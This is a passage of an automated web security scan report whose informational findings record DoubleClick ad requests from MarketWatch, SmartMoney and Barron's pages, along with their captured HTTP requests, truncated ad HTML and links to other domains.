Date: Sat, 14 May 2011 10:13:40 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 820

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/i%3B241061310%3B1-0%3B0%3B62335189%3B1
...[SNIP]...
67%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3fhttps://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_MarketWatchOptionsTrader?dist=IYMLBTBCM" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/1146650/MWNewsletters_MOTBB_170x40.gif" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.18. http://ad.doubleclick.net/adi/brokerbutton.smartmoney.com/partner_center previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbutton.smartmoney.com/partner_center

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbutton.smartmoney.com/partner_center;!category=;;mc=0;pos=3;tile=3;sz=170x67;ord=2258225822582258;

The response contains the following link to another domain:

http://s0.2mdn.net/2457383/102896_01_Research_EII_None_170x40B.gif

Request

GET /adi/brokerbutton.smartmoney.com/partner_center;!category=;;mc=0;pos=3;tile=3;sz=170x67;ord=2258225822582258; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:13:40 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 749

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/n%3B235215733%3B0-0%3B3%3B62335189%3B1
...[SNIP]...
3D%3B%21category%3D%3B%3Bmc%3D0%3Bpos%3D3%3Btile%3D3%3Bsz%3D170x67%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;235505194;58787601;p" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/2457383/102896_01_Research_EII_None_170x40B.gif" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.19. http://ad.doubleclick.net/adi/brokerbutton.smartmoney.com/partner_center previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbutton.smartmoney.com/partner_center

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbutton.smartmoney.com/partner_center;!category=;;mc=0;pos=4;tile=4;sz=170x67;ord=2258225822582258;

The response contains the following link to another domain:

http://s0.2mdn.net/1146650/MWNewsletters_PFIBB_170x40.gif

Request

GET /adi/brokerbutton.smartmoney.com/partner_center;!category=;;mc=0;pos=4;tile=4;sz=170x67;ord=2258225822582258; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:18:45 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 816

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/e%3B241061312%3B0-0%3B0%3B62335189%3B1
...[SNIP]...
170x67%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3fhttp://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_ProactiveFundInvestor?dist=IYMLBTBCD" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/1146650/MWNewsletters_PFIBB_170x40.gif" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.20. http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.barrons.com/barrons_subfront

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront;!category=;msrc=BOL_hpp_dc;;mc=0;pos=2;tile=3;sz=170x67;ord=5417541754175417;

The response contains the following link to another domain:

http://s0.2mdn.net/1363789/tda_activetrader_technology_technology_tradearchitect_go_nooffer_170x40.gif

Request

GET /adi/brokerbuttons.barrons.com/barrons_subfront;!category=;msrc=BOL_hpp_dc;;mc=0;pos=2;tile=3;sz=170x67;ord=5417541754175417; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html?mod=BOL_hpp_dc
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:14:02 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 856

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a
...[SNIP]...
hpp_dc%3B%3Bmc%3D0%3Bpos%3D2%3Btile%3D3%3Bsz%3D170x67%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;240685369;63591251;o;pc=[TPAS_ID]" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/1363789/tda_activetrader_technology_technology_tradearchitect_go_nooffer_170x40.gif" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.21. http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.barrons.com/barrons_subfront

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront;!category=;msrc=BOL_other_tnav_analysis;s=8_10001;mc=0;pos=3;tile=4;sz=170x67;ord=1413141314131413;

The response contains the following link to another domain:

http://s0.2mdn.net/2457383/110062_01_GoPro_Tools_EII_170x40.gif

Request

GET /adi/brokerbuttons.barrons.com/barrons_subfront;!category=;msrc=BOL_other_tnav_analysis;s=8_10001;mc=0;pos=3;tile=4;sz=170x67;ord=1413141314131413; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/barrons_take.html?mod=BOL_other_tnav_analysis
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:16:18 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 829

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a
...[SNIP]...
analysis%3Bs%3D8_10001%3Bmc%3D0%3Bpos%3D3%3Btile%3D4%3Bsz%3D170x67%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;240254584;57657971;u" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/2457383/110062_01_GoPro_Tools_EII_170x40.gif" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.22. http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.barrons.com/barrons_subfront

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront;!category=;msrc=BOL_hpp_dc;;mc=0;pos=3;tile=4;sz=170x67;ord=5417541754175417;

The response contains the following link to another domain:

http://s0.2mdn.net/2457383/102896_01_FreeTrades_EII_None_170x40.gif

Request

GET /adi/brokerbuttons.barrons.com/barrons_subfront;!category=;msrc=BOL_hpp_dc;;mc=0;pos=3;tile=4;sz=170x67;ord=5417541754175417; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html?mod=BOL_hpp_dc
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:14:02 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 809

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a
...[SNIP]...
3Bmsrc%3DBOL_hpp_dc%3B%3Bmc%3D0%3Bpos%3D3%3Btile%3D4%3Bsz%3D170x67%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;235505475;57657971;w" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/2457383/102896_01_FreeTrades_EII_None_170x40.gif" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.23. http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.barrons.com/barrons_subfront

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront;!category=;;mc=0;pos=4;tile=8;sz=170x67;ord=2194219421942194;

The response contains the following link to another domain:

http://s0.2mdn.net/2595243/170X40_welcome-1.jpg

Request

GET /adi/brokerbuttons.barrons.com/barrons_subfront;!category=;;mc=0;pos=4;tile=8;sz=170x67;ord=2194219421942194; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:12:58 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 809

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a
...[SNIP]...
%3D0%3Bpos%3D4%3Btile%3D8%3Bsz%3D170x67%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a631357/1674.843.img.170x40" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/2595243/170X40_welcome-1.jpg" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.24. http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.barrons.com/barrons_subfront

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront;!category=;;mc=0;pos=2;tile=6;sz=170x67;ord=2194219421942194;

The response contains the following link to another domain:

http://s0.2mdn.net/1363789/tda_activetrader_technology_technology_tradearchitect_open_nooffer_170x40.gif

Request

GET /adi/brokerbuttons.barrons.com/barrons_subfront;!category=;;mc=0;pos=2;tile=6;sz=170x67;ord=2194219421942194; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:14:15 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 838

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a
...[SNIP]...
ory%3D%3B%3Bmc%3D0%3Bpos%3D2%3Btile%3D6%3Bsz%3D170x67%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;240685271;63591252;h;pc=[TPAS_ID]" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/1363789/tda_activetrader_technology_technology_tradearchitect_open_nooffer_170x40.gif" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.25. http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.barrons.com/barrons_subfront

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront;!category=;;mc=0;pos=3;tile=7;sz=170x67;ord=2194219421942194;

The response contains the following link to another domain:

http://s0.2mdn.net/2457383/110062_01_GoPro_Trades_EII_170x40.gif

Request

GET /adi/brokerbuttons.barrons.com/barrons_subfront;!category=;;mc=0;pos=3;tile=7;sz=170x67;ord=2194219421942194; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:12:58 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 786

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a
...[SNIP]...
3D%3B%21category%3D%3B%3Bmc%3D0%3Bpos%3D3%3Btile%3D7%3Bsz%3D170x67%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;240254598;57657971;z" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/2457383/110062_01_GoPro_Trades_EII_170x40.gif" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.26. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/frontpage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/frontpage

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/frontpage;pos=4;u=%5e%5e;sz=288x40;tile=13;ord=1820011674?

The response contains the following links to other domains:

http://s0.2mdn.net/1183784/1x1.GIF
http://s0.2mdn.net/1363789/tda_activetrader_technology_technology_tradearchitect_open_nooffer_170x40.gif

Request

GET /adi/brokerbuttons.marketwatch.com/frontpage;pos=4;u=%5e%5e;sz=288x40;tile=13;ord=1820011674? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:13:04 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1480

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
/42040046/1%3Bu%3D%5E%5E%3B%7Eokv%3D%3Bpos%3D4%3Bu%3D%5E%5E%3Bsz%3D288x40%3Btile%3D13%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;240685479;63577776;g;pc=[TPAS_ID]" target="_new"><IMG SRC="http://s0.2mdn.net/1363789/tda_activetrader_technology_technology_tradearchitect_open_nooffer_170x40.gif" WIDTH="170"
HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...

19.27. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/frontpage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/frontpage

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/frontpage;pos=1;u=%5e%5e;sz=288x40;tile=10;ord=1820011674?

The response contains the following links to other domains:

http://s0.2mdn.net/1183784/1x1.GIF
http://s0.2mdn.net/2457383/110062_01_GoPro_EII_170x40.gif

Request

GET /adi/brokerbuttons.marketwatch.com/frontpage;pos=1;u=%5e%5e;sz=288x40;tile=10;ord=1820011674? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:16:01 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1386

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
40%3B41835789/41853576/1%3Bu%3D%5E%5E%3B%7Eokv%3D%3Bpos%3D1%3Bu%3D%5E%5E%3Bsz%3D288x40%3Btile%3D10%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;240254847;58787588;f" target="_new"><IMG SRC="http://s0.2mdn.net/2457383/110062_01_GoPro_EII_170x40.gif" WIDTH="170"
HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...

19.28. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/frontpage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/frontpage

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/frontpage;pos=2;u=%5e%5e;sz=288x40;tile=11;ord=1820011674?

The response contains the following links to other domains:

http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3069166
http://i.mktw.net/1.gif

Request

GET /adi/brokerbuttons.marketwatch.com/frontpage;pos=2;u=%5e%5e;sz=288x40;tile=11;ord=1820011674? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:13:03 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1452

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
Bu%3D%5E%5E%3B%7Eokv%3D%3Bpos%3D2%3Bu%3D%5E%5E%3Bsz%3D288x40%3Btile%3D11%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/" target="_new"><IMG SRC="http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3069166" WIDTH="170" HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://i.mktw.net/1.gif"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://i.mktw.net/1.gif"></td>
...[SNIP]...

19.29. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/frontpage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/frontpage

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/frontpage;pos=6;u=%5e%5e;sz=288x40;tile=15;ord=1820011674?

The response contains the following links to other domains:

http://s0.2mdn.net/1183784/1x1.GIF
http://s0.2mdn.net/3170178/LightSpeed_170x40.gif

Request

GET /adi/brokerbuttons.marketwatch.com/frontpage;pos=6;u=%5e%5e;sz=288x40;tile=15;ord=1820011674? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:13:05 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1720

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
239902029;62737601;h?http://www.lightspeed.com/?page_id=10294&utm_source=WSJ&utm_medium=WSJ_MarketWatch_Partner_Center_Button_170x40&utm_content=Q22011_FreeDemo_170x40&utm_campaign=2011" target="_new"><IMG SRC="http://s0.2mdn.net/3170178/LightSpeed_170x40.gif
" WIDTH="170"
HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...

19.30. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/markets_futuremovers

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers;pos=4;u=%5e%5e;biz=1053;sz=288x40;tile=13;ord=1848543519?

The response contains the following links to other domains:

http://s0.2mdn.net/1183784/1x1.GIF
http://s0.2mdn.net/1363789/tda_activetrader_technology_technology_tradearchitect_go_nooffer_170x40.gif

Request

GET /adi/brokerbuttons.marketwatch.com/markets_futuremovers;pos=4;u=%5e%5e;biz=1053;sz=288x40;tile=13;ord=1848543519? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:14:14 GMT
